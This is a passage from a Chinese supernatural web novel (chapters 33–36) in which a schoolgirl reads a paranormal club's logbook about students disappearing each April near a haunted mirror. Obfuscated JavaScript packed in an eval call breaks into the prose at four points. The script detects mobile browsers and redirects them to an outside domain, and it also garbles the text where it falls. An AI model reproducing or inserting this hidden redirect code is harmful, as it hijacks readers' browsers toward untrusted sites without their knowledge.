那个泡在油缸里一脸臭屁甩头发的小人又是什么鬼? 他回去一定要杀了那个给他胡乱出主意的狗东西!!!狗屁的女生冷淡,男生就要主动热情!狗屁的真男人就要冷漠霸道装X范!那狗东西是看自己刚醒,故意耍他玩吧?!天知道他只是想请人帮个忙而已…这下好了!他在安然这儿连个正常人都不算了! 同一时间。秦家老宅正在汇报工作的秦风突然连打了好几个喷嚏,他揉了揉鼻子,感冒了? 安然见对面那脸色就跟调色盘似的红绿青紫差不多都要齐全了。心里多少有点心虚,不会是刚刚的想法被对方看到了吧?但随即又挺直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850084|175810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了腰杆,他自己非要偷看别人想法,自己有什么好心虚的?看到了承受不了是他的问题,更何况她这是实话实想,又没有捏造事实。 余光瞥见手机上的时间,想来想还是将之前跑偏了话题拉回了正轨:“那几人的死和学生的失踪都是从09年的4月份开始。09年4月,一中发生了什么?” “09年4月一中死了一个学生。”秦以淮的脸色仍旧是说不出的难看。“最后以自杀结的案。” 安然拿水壶的手猛的一顿:“那个学生是不是吊死在了风扇上...还有个当老师的母亲?” “这件事除了当年的卷宗还有那批老师学生以外,知道的人很少。你怎么知道的?” 如果不是这个熟悉的开头,安然都把这茬给忘记了。将林盛阳那天在班上讲的故事对着秦以淮讲了一遍。两人根据当年的卷宗和故事的情节做了对比。 结果发现整体大致一样,有些细微末节不同。 第一,当年死的那个男生并不是傻子,相反他很聪明。只是有一些自闭的症状,总结起来大概是不愿意和人交流以及经常自言自语。 第二,他没有血肉模糊的被削掉了半个脑袋,只是吊死在了风扇上。 第三,死亡的地点也不是教室,而是教学楼二楼楼梯拐角。 第四,死亡时间也不是早于2005,而是2009年4月。 那么问题来了。 如果林盛阳的表姐真的是05届毕业生,那她根本就不会有什么失踪的好友。那些后续为了追踪好友失踪真相的操作也就不再成立,所以她追查这件事的目的是什么?那个半真半假版本的故事究竟是她调查能力有限还是故意为之? 最后还是秦以淮打破了谈论的僵局:“不要瞎猜了。我找人查查那个林盛阳还有她表姐。” 这一刻安然真的体会到了什么叫‘嫉妒使人面目全非’。自己花上几天都不一定能得到一个有用的线索,对方一句‘查一下’就有许多人跟着前赴后继。 等等。 自己不会是有什么隐藏的仇富心理吧?她甚至在心里反思了一下,如果街上看到一辆超级贵超级好看的跑车会拿钥匙偷偷上去划一下么? 安然认真的想象了一下那个画面,坚决摇头。 还好。还好。 老安家的苗没长歪。 松了口气的同时又赶紧将跑偏的思绪重新拽了回来:“那15年呢?15年发生了什么?真像林盛阳表姐说的学校来了一批调查人员后开始了线路整改?” 见秦以淮点头,安然心下了然,但等了半天却没有等到对方的下文,纳闷道:“然后呢?” “我目前只能查到这么多。很多痕迹都被人刻意抹掉了。”秦以淮皱眉:“来调查的那些绝对不是一般人。” 安然略加思考后看向秦以淮:“那4死1失踪、学生的陆续失踪肯定和姜慧有着千丝万缕的关系。而有可能知道一些真相的人只剩下失踪的江源、失踪的瞿星瑶还有貌似知道一些内幕的林盛阳表姐。排除掉江源,剩下的两人都有可能知道怎么样能找到镜子。” “不止这两人。”秦以淮却摇头,“还有一个...也许她也能知道。” “谁?”安然面露诧异。 自己漏掉谁...么? “你。” 33. 第33章 安然看着书桌上黑色的方形玉盒觉得自己一定是疯了才会将这个东西带回来。 尤其一想到要让那个会跑还会叫的眼珠子趴在自己手腕上...小腿就不自觉地开始发软。 但她又不得不承认,秦以淮说的没错。 别人也许不会将学生的失踪往灵异方向想,但灵异社绝对能察觉出里面的端倪,他们一定对当初的事件进行了调查和记录。也难得有自知之明,知道安然不可能将记录给他一个外人看。 所以最后的讨论结果就只能是由餍虫先看,再由它将看到的内容传递给安然。 一开始她其实是拒绝的。 毕竟有谁会愿意在身上装个摄像头实时传递自己的一举一动?对此秦以淮给出的解释是,之前之所以能看到是因为餍虫的两只眼睛彼此间有感应,但现在其中一只已经被吞了,重新长好最少要近半年的时间。 然后她就看到秦以淮拿出一个通体血红和小拇指差不多大的哨子和一个纯黑的正方形戒指盒。 就在安然纳闷他究竟打算干什么的时候,秦以淮将哨子递到了嘴边。 安然没听到任何声音,餍虫却慢悠悠的从秦以淮的袖口钻出然后爬进了那个盒子里。 他告诉安然,餍虫回到盒子里就会忘记之前的主人的气息,同时也会进入沉眠的状态。只要吹起哨子,它就会自动爬到吹哨人的手腕上,记住他的气味,在回到盒子前都只会听那个人的差遣。 她知道秦以淮哪怕不这么做也能让餍虫将看到的东西传递给自己,将餍虫的控制权交给她无非是想表示他对合作的诚意。 秦以淮绝对是安然见过的最善变的人,没有之一。 先是‘自来熟’,然后又是‘装X男’最后又搞真诚那一套。一想起那双狭长凤眼水光盈盈看着自己,安然就起了一身的鸡皮疙瘩。 明明就是大型的猎食者,装什么清纯小白兔。 等等。 这家伙不会是个精分吧?! 老祖宗说的果然没错,还真是物以类聚,人以群分。自打她变得不正常以后,身边聚集的就没几个正常人。 安然揉了揉眉心,把那些连七八糟的想法一股脑儿全都抛掉。 拿出手机,打开她哥的聊天记录,将自己目前的情况、找到的帮手、对于人脸执念的猜测还有进展全部编辑到了信息里,最后让他们专心手头上的事,不要担心自己。 随后将书架上那本比板砖不知道厚多少倍的《灵异社相关事宜记录》放在了桌上。 打开玉盒,那眼珠果然躺在里面一动不动。 通体艳红的哨子在安然葱白的指尖红的有些刺眼,不知道是不是在口袋里时间长了,摸上去手感是温温的,不像金属,也不是玉石,看不出什么材质。 她先是到浴室用温水冲洗了一遍,然后用酒精棉擦整体擦拭了一遍,再用消毒柔棉巾擦一遍,最后擦干后才不情不愿递到了嘴边。 天知道这哨子被多少人用过!要不是材质不明,她高低得隔水蒸109分钟先消毒了再说。 但很快,她就发现原来不是这哨子没声音,而是只有吹哨子的人才能听的到哨响,安然不知道怎么形容自己听到的声音,只有一个调,有点类似高亢的鸟鸣。 躺在盒子里的餍虫果然颤悠悠的爬了起来。顺着哨声爬向安然,那样子有点像是喝了假酒,整个眼珠子都晃晃悠悠的,直到爬上安然手腕才不再动弹。 将嘴边的哨子取了下来,强迫自己忽略手腕上传来的冰凉触感,虽然没有想象中的粘腻和湿滑,但如果没有眼珠底下那些紧贴着自己手腕不知道是血管还是触手一样的细长根须的话,安然觉得自己可能更容易接受一点。 大概僵持了一分钟不到的时间,之前一动不动的餍虫突然动了一下,然后用自己的触须蹭了蹭安然的手腕,那样子像是在讨好、撒娇或是...卖萌。 鸡皮疙瘩瞬间从手腕直窜天灵盖。 “你别动。”安然的声音都在抖,天知道她花了多大的力气才忍住将这玩意从手上甩下去。 餍虫听到安然的命令后,立马乖乖保持着原来的姿势,一动不动了。 安然松了口气,对着眼珠子警告:“不要拿你的触须一样的东西蹭我,没有我的命令不许乱动,只能安静地待在手腕上。” “还有不许乱叫。” 她本以为,这餍虫也会像小说了里那样通过意念之类方式联系自己,却没想到这眼珠子竟然对着自己做了个点头的动作,如果眼珠子能算它的头的话。 更诡异的是自己竟然能从这个动作里感受到了委屈和不解。 疯了吧...? 她用另一手按住发胀的太阳穴,刚刚那种诡异的感觉才慢慢消失。 “到桌上去。” 餍虫直接就从安然手腕上弹了起来,直接跳到了桌上。这弹跳力对于这小身板来说着实有点惊人。 “爬到书架上最上面一排。” 餍虫对于安然的命令表现得相当兴奋,身下几根触须同时发力,没两秒就到了顶层。 “把看到的东西传递给我。” 但安然什么都没有看到。 果然不能隔空传递。秦以淮没有说谎。 “回来吧。” 餍虫立马乖乖回到了安然的手腕上,与此同时脑海里也浮现出了书架上的那几本书的样子。 视角有些奇怪,有点像透过镜头看东西的感觉。而餍虫传递回来的只有她刚刚要求的书架上所有的书籍图像,并不是将它看到的所有画面都传递回来。也就是说它只会听从指令的要求,不会自主的传递任何东西。 倒是挺听话。 不过,她记得秦以淮操控餍虫的时候,并没有发出过声音...至少窥探她想法的时候,没有听到对方开口说一个字。 ‘到桌子上。’ 这一次安然没有说话,而是用意念传递命令。 餍虫一个翻身就从手腕翻到了桌上。 ‘回来。’ 餍虫很快就重新爬了回来。 安然翻开《灵异社相关事宜记录》,看向手腕上的餍虫:‘不管你看到了什么,全部传递给我。’ 大概角度的问题,餍虫传递回来的画面并不清晰,就连内容都是残缺不缺的,看的她有些眼晕。 一人一虫又开始重新找角度,直到趴到她的额头,传递回来的画面才正常了起来。 和安然之前想象的全然是工作汇报有些不同,有的像是日记,长篇大段,事无巨细,也有人只是寥寥几句的简单概括,也有两者结合的,记录的内容大概是和个人的习惯挂钩。 而且上面记录的也并不是全部都和灵异有关,也有一些个人感触或是一些想法,字体更是千姿百态,有的豪放,有的娟秀,有的端正,有的潦草... 有记录的其实不到本子的一半,从1963年的食堂闹鬼事件到2030年万胜柔溺水。后面的大半则都是空白的。 虽然安然很好奇上面记录的内容,但事有轻重缓急,先是翻到2006年,见那一年只有寥寥几页,而且没有一条提到姜慧,便直接找到了2009 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850085|175810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年。 这个记录者显然不太喜欢长篇大论,一眼看过去全是简单的工作总结。 【2009年4月15日阴】 距离高三那个叫林异的男生死亡已经一周了。 学校的气场变得有些奇怪,但私下探查并有没有找到异样。 也许是我想多了吧。 【2009年4月20日阴】 已经是第4个人了。 监控视频都只拍到了他们凌晨走出家门,在附近的街道就不见了。 今天有人提到了镜子。 他们真的是离家出走么? 家中探查无异常,消失地段无异常。 【2009年4月27日阴】 已经9个人了。 探查不到异常。 为什么害怕镜子? 对学校所有镜子进行探查,无异常。 【2010年4月8日阴】 之前一直担心的事情果然再次发生了。 有人失踪了。 那个学生失踪前曾用圆珠笔砸坏了窗户。 对该班级的窗户和教室进行了调查,无异常。 【2010年4月14日雨】 失踪的5人相互无交集、男女性别均有,成绩参差,失踪前均表现出暴躁、易怒等情绪。 症状疑似落魄?有待考证。 关注情绪突然失控学生,并进一步进行调查。 参考校医室记录,4人症状相似。 【2010年4月15日雨】 4人三魂七魄具在,无阴气,检查均无异常。 【2010年4月16日雨】 余3人。 另外3人无异常。 申请于校内看护3人。 被驳回。 【2010年4月19日阴】 余1人,拒绝喝水,于家中休息。 厕所镜子被打碎。 校医室无就诊学生。 重新对校园内镜子、玻璃、窗户等一切反光物品进行检测,未见异常。 学生附近无异常,未见线索。 【2010年4月23日阴】 失踪3人。 对林异进行调查。 【2010年5月1日多云】 本年4月失踪12人。 对林异调查无进展。 申请调查林异档案及其所在班级档案。 审核通过。 对林异及其所在班级学生、教师进行走访及调查。 【2010年8月4日晴】 林异调查基本如下: 1、林异高中三年与班上同学基本无互动。 2、与其母关系一般。 3、仅与班长程景浠关系尚可(尚未联系)。 4、阴阳眼? 5、自杀?他杀? 6、遗体火化?未查询到相关埋葬墓地。 看来记录的人应该是查到了什么引起了怀疑,但是...就不能写的稍微清楚一点么... 最后的几句看的真的是云里雾里。 这人难道不止怀疑林异死亡非正常,还怀疑他其实没有被火化和安葬? 阴阳眼么? 还有程景浠... 这个名字怎么看着这么眼熟? 安然一拍大腿,自己前几天还看过他的新闻来着:【#惊!史上最年轻元宇宙CEO参加校庆后离奇暴毙】 那个说给他们学校捐宿舍的学长不就叫程景浠? 34. 第34章 安然迫不及待地翻开了下一页。 【2010年12月14日多云】 【程景浠,男,09届毕业生,目前就读于B市大学?(尚未查证) 家中仅祖孙二人,于2009年7月搬离怀阳县。 未能联系程景浠本人。】 看到这儿,她不免有些失望,还以为能从程景浠的口中了解到一些关于镜子的事。但想想也是,B市距离他们所在怀阳县相当的远,再说B市那么大,B大学生那么多,一时半会儿联系不到也很正常。 于是便继续往下看。 但让她没想到是直到2014年初,记录者都换了两批,对于失踪事件竟还是一点起色都没有。程景浠更是一点消息都没有。 还有学校的态度也让安然有些失望,心理辅导加了一节又一节,减负口号换了一批又一批,却也一次次驳回灵异社成员要求将有症状的学生统一管理的要求。 在安然看来,他们不是不相信灵异社的判断,也未必不知道这事有古怪,他们是担心灵异社根本没有能力保证这几个学生的安全。毕竟学生自己走出家门离开和在学校里失踪完全是天差地别的两个概念。 翻过新的一页,安然一怔,记录的字体看上去相当娟秀,事情记录的也详细了不少,看来是又换人了。 【2014年4月6日阴】 【一直觉得前辈们对于四月山雨欲来的形容实在有些夸张,但今天在医务室那个男生差点将萱姐的眼睛挖出来的架势,让我到现在还有些心有余悸。 一想起,那个男生翻着白眼数数的样子,握着笔的手就止不住的发抖。 为什么他要不停的从一数到44? 又为什么害怕镜子? 数字和镜子又有什么关系? 萱姐说自己在那个男生意识里看到了一条很黑很长的楼道,垂直向下没有任何拐角。 虽然不知道这道楼梯意味着什么,但我第一次看见萱姐脸上出现那样惊惧的神情。】 数数... 安然这才想起来,自己在厕所一开始看到的万胜柔,一开始也是在不停的数数,好像也是数到44来着...后来她在自己面前爆开,才出现的姜慧的脸。 也许... 自己那天看到的可能不是一个鬼,而是两个。 44是有什么含义么...? 可之前失踪的那些人都是生不见人死不见尸,为什么万胜柔的尸体会出现在湖里? 难不成万胜柔之前也想对她做点什么,结果被姜慧截胡了? 但事已至此,安然也没精力再去追根问底了。本以为姜慧的事已经拨开乌云见月明,却没想到当年的参与者竟死的只剩江源一个。 她现在只祈祷秦以淮能找到失踪的江源,赶紧解决姜慧的事,再帮秦以淮找人换取丁筝的线索,除此以外,什么都不想再过问了。 【2014年4月11日阴】 【失踪15人。 事情有些不对。 翻阅往年记录,从未在月初尚未过半就失踪15人的情况。 这是不是意味着那个导致学生失踪的东西正在变强?它的胃口似乎也在变大。 不少失踪的家长集体来到学校讨要说法,其中一个家长还拿着近几年校方学生失踪名单。压力是时候该转移给那帮只想着独善其身的领导们了。 好在事情有了一些转机。 萱姐在老大的陪同下,再次对有症状的人进行了探查。 这一次,萱姐看的更加清楚。 不止有漆黑的楼道,她还听到了数数的声音,闻到了蜡烛燃烧时散发的气味。 但这些零散的甚至算不得线索的信息实在提炼不出什么有用的价值。 于是我们决定6人分成3组,对3名症状相对严重的学生进行分组管理。】 【2014年4月12日阴】 【老大受伤了。 萱姐很自责。 失踪的学生是老大和萱姐看管那一组的。 老大说那个人的力气以及奔跑速度都不像是正常人。 我们在学校围墙下找到了撕破的校服一角。简程那个狗鼻子说闻到了老大的味道。 那人竟然是跑回了学校? 可查了监控,哪怕疑似人影的画面都没有出现。 我觉得毛骨悚然。 这些人要真是在学校里失踪的... 人呢? 那可是将近七八十个学生,活生生的人,怎么会半点痕迹都没有呢?】 【2014年4月15日阴】 【单独监管宣告失败。 症状较重的3人和较轻的5人全部失踪。 症状强弱与失踪先后顺序无光。 阵法和符咒以及萱姐的摄魂术和简程控尸术对这些人都没有作用。 真服了简程那家伙,人都活得好好的,控尸术能有用也是有鬼了。 线索又断了。 老大让我们对学校进行地毯式搜索,虽然我们都觉得没什么用,但干坐着看那些人一个接一个失踪...我们谁都做不到。 搜寻的结果和我之前猜测的一样,并没有实质性的突破。 唯一算是收获的东西大概就是那本在学校老图书馆里找到的笔记本。 没有署名。但由于笔记中有提到了镜子,所以我决定将其带回灵异社。】 【2014年4月16日】 又失踪了一人。 我们翻阅了那本没有署名的笔记。 有些有日期,有些没有。比起日记内容更像是随笔,想到什么写什么的那种。 有日期的最早能追溯到06年,最后一页是09年4月。 又是4月。 可能也是因为看到4月,才会鬼使神差的带回来。 前面记录的很正常。 日记主人的生活上不算特别富裕,但奶奶年轻时候的工作应该是很体面,所以哪怕只有两人相依为命,老人退休工资也足以应付他们的生活开销。 再加上老人家手巧,会做一些香囊和手工编织的玩偶,每次做好拿出去卖,也算是一份很稳定的收入。 日记主人一直都觉得只要自己考上一个好的大学,毕业后就能给过奶奶一个安详的晚年。 事情的转折发生在一个很普通的下午。 奶奶昏倒在了买菜回家的路上,被邻居发现送进了医院。 医院告诉日记的主人,奶奶得了阿尔兹海默症。 接下来很多篇日记都是自己对于奶奶的担心。 担心她药吃多了或是忘记吃了,担心她是不是又跑出门找不到回家的路了,但在家他同样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850086|175810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 担心会不会烧了水忘记关煤气了... 一开始热心的邻居还会帮着照应一下,但时间一长,别说电话就是见面也生怕和他打招呼。 学业的压力和奶奶的病情几乎要将他压垮。 但即便偶有抱怨,大部分记录的内容仍旧是对未来充满希望,对医学的希望,对未来的期望。就连简程那家伙都说很少有这么积极乐观的人。 但有时候,就是屋漏偏逢连夜雨。 奶奶的病情开始加重。 她开始不认得日记的主人。 经常走失,发脾气,打人,摔东西。 而记录的内容肉眼可见变得黑暗。 退休金和存款变得捉襟见肘,每次考试,别说刷题,他连看书的时间都没有。 每天回家第一件事就是处理奶奶的纸尿裤。整理卫生,以及给奶奶清理身体。 期间还经常被打伤或是抓伤。 他笔下的奶奶也从一个和蔼亲切的老太太变成了一只正在不断吞噬他的怪物。 那些日记窒息而压抑,就连我们几个看的人都觉得沉闷。都说久病床前无孝子,作为旁观者的我们没有办法站在道德的高点去评判日记主人的对错,但那些文字就像是阴影里爬行的蛇,实在让人忍不住心生恐惧和不适。 我们沉默地翻看着他经历,有几次我都很想将那段压抑的过往全部跳过。 我知道萱姐和我一样。 转机是从07年的12月份开始。 记录的内容从喋喋不休的抱怨和愤恨变成了恐惧和茫然。 他开始大篇幅的描述自己的幻听。时常听到有人再叫自己,时男时女。一开始他以为自己是太累了,去医院开了药,但收效甚微。 终日惶惶不安。 直到他按照班主任的要求去一楼教材室里拿资料的时候发生了一件事情。 我想了想还是决定将日记主人当时的原话抄了下来: (下楼的时候,我就隐隐察觉到了不对。太安静了。当我发现脚下的楼梯变得漫长而看不到尽头的时候,我知道该转身就跑的,但我没有。我像只被花蜜香气吸引的小飞虫,被本能驱使着走到了楼梯的尽头。 在那里我看到了一面镜子,一面巨大的镜子。 镜子里有一个很漂亮的女孩。 她对我说可以实现我任何的心愿。 于是我对着她说出了愿望。) 后面的记录让我们始料未及。 日记主人的愿望... 实现了。 家里重新变得井井有条。难闻的气味、杂乱的房间、难听的咒骂竟然统统消失了,桌上摆着可口的饭菜,美梦实现的方式让人猝不及防。 他写了整整两页日记来表达当时喜悦的心情。 我们跳过了中间重新变得温馨的日常记录,翻到了后面。 果然。 和我们之前猜测的一样,事情没有那么简单。 没有代价的愿望是有期限的。 奶奶的再次生病,让日记主人变得比之前更加癫狂。 没有什么比得到光明后再次跌回黑暗更让人绝望。 他开始疯狂的寻找镜子和女孩的踪迹。 但什么都没有。 这种癫狂一直持续到他偶然在班上同学的速写本上看到了那个女孩的脸…】 35. 第35章 这一篇记录很长。 看到这儿,安然就隐约预感到真相也许就要浮出水面了。 于是翻开了下一页—— 【为了以后看到这个事件的人能更好的了解事情的真相,我将剩下的日记记录了下来。 以下内容摘抄自日记: 2007年12月25日 我开始刻意接近他,但效果并不怎么好。‘傻子’是他们私下给他起的外号。说实话,如果不是翻过他抽屉里的东西,就冲他这拒绝一切的态度,我都觉得这人可能多少有点毛病,就没见过这么难接近的人。艹! 2008年1月20日 已经快1个月了,连句话都没说上。 2008年2月23日 快要坚持不下去了,好累。 2008年2月25日 我好像知道了他的秘密。 2008年3月2日 我靠!白白浪费这么多时间!竟然在体育馆的器材室!竟然就在我眼皮底下!艹!!! 2008年3月3日 为什么不出来?为什么和他说话,却不理我?凭什么??? 2008年3月4日 艹!!!为什么不和我说话?? 2008年3月5日 贱.人!我不好过,谁都别想好过!今晚就砸了你! 2008年3月6日 倒计时。 我要和林异成为好朋友。 2009年4月8日 你成就了我的新生。我会连同你的那一份认真活下去。 最后一句话让我们都感觉到了不妙。几乎同一时间都联想到了吊死在风扇上的林异。 我们检查了日记,没有缺页,也没有涂抹,中间近一年的时间没有任何记录。 但在皮套夹层里找到了一张女生素面画像。 我们猜测日记的主人很可能就是那个到现在都没有联系上的程景浠。 林异的死很可能和他有关,他就是所有一切的源头。】 【2014年4月17 阴 今天又失踪了一个。 器材室被我们几乎翻了个底朝天,但别说镜子,就是能反光的东西都没有找到一个。 不过要说厉害还得是萱姐,竟然真的弄来了程景浠奶奶的医疗记录。 日记的主人果然是他。 还有那张素面画,我们给学校的老师们看过后,确定是一个叫姜慧的女生。 但根据那位老师的描述,那个女生并没有死亡,只是辍学。 她会是那个镜子里的女孩么? 虽然具体情况还需要继续调查,但我有预感,就是这个女生。 希望能在更多人失踪前结束这一切。】 安然简直不敢相信自己的眼睛。 姜慧... 怎么可能是姜慧? 如果姜慧在镜子里,那脚踝上的又是谁? 安然用力按了按太阳穴,脚踝上的人脸是姜慧无疑。这中间肯定是发生了其他的事,才会导致姜慧曾困在镜子里一段时间,这也解释了为什么那些人时隔3年才突然死亡。 从程景浠的日记来看,如果真的是姜慧,林异和她应该是认识的。 至少两人有过交流。 他们之间又发生过什么? 姜慧又是怎么出来的... 【2014年4月19日 阴 今天又有两人失踪。 警方那边成立了专案组。 虽然已经能猜到结局,但这件事影响力的增大,在某些方面不得不承认是一件好事。 只有这样,才能让上面的那些不作为的人重视起来。 姜慧的母亲已经联系上了,但对方拒绝沟通。老大和萱姐都觉得她很有可能知道一些内情。我们也试着联系了姜慧高中时期的好友夏澄澄,但据对方透露,两人因为一些矛盾自寒假开始就没有再联系过。 程景浠依旧没有任何消息。 线索又断了。】 【2014年4月21 阴 天! 终于有找到镜子的方法了! 我现在还感觉这一切不真实的像是在做梦! 萱姐这次摄魂的那个男生应该算是目前有症状的人中保持的最清醒的人了。 也难怪能看到完整的过程。 以下为具体方法: 1、取一根白色蜡烛。 2、在烛身上刻生自己的生辰八字。 3、再以自己的血液涂抹。 4、站在教学楼顶楼楼梯口,将蜡烛举于胸前。 5、午夜0点开始,闭着眼睛往下走,每走一步都要在心中默数。 6、数到45,手中的蜡烛便会自动点亮,这时候就能看见那面镜子。 虽然怎么看都像是某种恶俗的笔仙之类的见鬼游戏,但有时候就是这么恶俗。 老大后来询问那男生这方法是谁告诉他的,没成想刚刚还算的上冷静的男生先是露出了茫然表情,随后竟然在谁都没有预料的情况突然暴走,幸亏老大眼疾手快,否则后果真的是不堪设想。 虽然没能得到更多的线索,但至少能看看那面镜子的庐山真面目了。 也算是有了一些起色。】 【2014年4月22日 阴 又失踪了2个人。 怎么贪心的人就这么多? 我已经有点不想再管他们了。 本来以为是镜子在作乱,没想到作乱的会是他们的欲望。 不劳而获真的那么吸引人么? 已经失踪了这么多的人了,难道就没引起一点警觉?! 今早大家为晚上谁去找镜子的事,闹得不可开交,每个人都想将这份责任揽在自己身上。 但老大驳回了所有人的请求。 除了萱姐。 第一次见萱姐发火,第一次见她哭。 所以最后的决定由老大和萱姐一起解决那面镜子。 希望一切顺利!】 【2014年4月23日 雨 萱姐不见了!!! 【2014年4月25日 阴 老大已经连着两天用那个方法尝试去找萱姐, 但不知道是什么原因,全部失败了。 我们猜测这个方法并不是所有人适用。 我们几人同样进行了尝试,但都没能成功。 老大的状态,很让人担心。】 【2014年4月28日 阴 老大离开了。 留下一张纸条。 我知道他是去B市找程景浠了。 今天又失踪了3人,但我们无心再管。 萱姐的消失和其他人都不一样,其它人都是见到镜子后2-5天才会失踪。 我们甚至没有机会想办法救下萱姐。 我们一定要找到萱姐。】 【2014年4月30日 阴 老大回来了。 程景浠作为交换生出国留学了。 难怪一直联系不上。 灵异社的气氛很压抑。 今天是4月的最后一天。 这也就意味着如果今天再找不到萱姐,就要等上一年。 萱姐那时候... 我连想都不敢想。 老大哭了。 我也哭了。 我们该怎么办 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850087|175810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?】 【2014年5月21日 晴 我要离开了。 这是我最后一次做记录。 萱姐仍旧没有找到。 老大说他要回家一趟找人来解决这件事。 我决定和老大一起去。 萱姐不在了。 我在这边也就没什么留恋的人或是事了。 简程那帮家伙也想跟着的,但他们身上还有责任,和我孤家寡人一个不同。 我一定要找到萱姐。 再见了。灵异社。】 灵异社竟然也有成员失踪。 安然仔细回想了一下,名单里似乎没有名字里带萱的女生。 难道是他们没报警? 她揉了揉有些发胀的眼眶,传进大脑的字体看上去已经有些模糊了,果然餍虫传递过来的画面也不是那么好看的。换谁老是用镜头看字,都会头昏脑胀。 安然让餍虫暂停,自己也闭上眼睛跟着放松了一会儿,才重新翻开下一页命令餍虫继续。 【2015年3月20日 晴 老大他们走后,我们并没有放弃继续寻找萱姐的下落,虽然什么都没有找到。 马上就要进入下一个四月了。 说不忐忑,就是胡扯。 希望老大能成功请到救兵。】 【2015年3月25日。晴 救兵来了。 看上去很屌的样子。 结果一点资料都不看,问了些问题就走了。 这帮人到底行不行? 【2015年3月29日 学校竟然会同意那些人的要求,真的放了一个礼拜假。 地下沼气安全测试这么扯的理由都能想的出来,还真是有点本事。 我们主动提出帮忙,竟然被拒绝了。 靠!】 【2015年4月7日 今天回到学校上课了。 没有看到那帮人了,事情难道真的解决了?】 【2015年4月10日 就知道事情没那么容易解决。 啧。 失踪了一个人。 装的屌炸天。 真的是。 老大从哪里请来的奇葩? 也不知道老大和二毛那丫头现在怎么样了。】 【2015年4月12日 他们是怎么做到的?? 那小子不是失踪了么?! 怎么又出现了??? 那萱姐是不是也能回来?!】 【2015年4月15日 他们说萱姐已经死了。 我想要反驳的,但这死嘴一个字都说不出来。 他们说镜子的事能解决,但不是现在。 还说哪怕解决了,萱姐的...也找不回来。 该怎么和老大还有二毛说萱姐再也回不来了???】 【2015年4月20日 这几天失踪的都被他们找了回来。 我实在控制不住自己去想,这帮人既然这么厉害,为什么不早点过来解决这件事? 如果他们能再点出现,就不会有那么多人失踪!萱姐就不会以身犯险,更不会生不见人,死不见尸!】 【2015年4月22日 灵异社那枚丢失的徽章... 竟然有这么大的作用么? 为什么前辈们没有一个人提起? 也许因为丢失的太久,早就没有人记得它的作用了。 诛邪。 镇祟。 如果它还在,是不是就没有这么多事了? 这一切...真的是我们灵异社的责任?】 36. 第36章 【2015年4月30日 4月必有人失踪的诅咒终于被打破了。 和他们比,我们实在太菜了,的确不是一个等级。 也难怪会看不上我们的帮忙。 明天他们就会离开,但听对话,暑假的时候还会再来做一些布置。 我的原意是想问清楚事情的一些经过,但那几人谁都没有要说的意思。 算了。不说就不说吧。不管怎么样。终于要结束了。】 【2015年5月1日 怎么回事?! 昨晚有12个学生离奇猝死? 这消息真的假的?】 【2015年5月3日 我们做了一下调查, 确定暴毙的不是之前失踪过的那几个。 那12人竟然全是突发心梗... 这世上真的有这么巧的事么? 他们说是咎由自取... 又是什么意思??? 还是将这件事告诉老大和二毛吧,他们也许能知道。】 【2015年7月4日 那些人真的又来了。 说是来做收尾工作。 那些装修工人装扮的家伙又是怎么回事? 老大和二毛还是没能联系上,有些担心。 不过胖子说的也对,老大在自己家能有什么事。】 【2015年7月8日 今天又被他们抓到了。 算了。 不让看就不让看吧。】 【2015年8月25日 那帮人竟然主动找我了。 但4月不能开风扇又是什么鬼? 要知道他们这个南方小城镇4月是很潮湿的。 不然也不会在各个楼道都装上风扇加速水分的散发了。 难道事情还没彻底解决? 又不是锯了嘴的葫芦,说下真相是会死还是怎么的? 唉。 谁让我比又比不过,打又打不过。 老大要是在,就好了。】 安然往后又翻了两页,确定四月份没再出现失踪事件,才如释重负将事件簿给合上。 再多看两秒,估计得直接吐出来。 命令餍虫从自己眉心上下来,在让对方回盒子和待在房间里,果断选择了前者。 对于餍虫,她还是有些不放心。 谁让它的主人实在让人琢磨不透。 让餍虫回到盒子里,安然才发觉时间已经凌晨1点多了,难怪觉得头晕脑胀。本来想洗个澡的,但这一想到都这个点了还要吹头发,就觉得脏一点好像也不是那么难以接受。 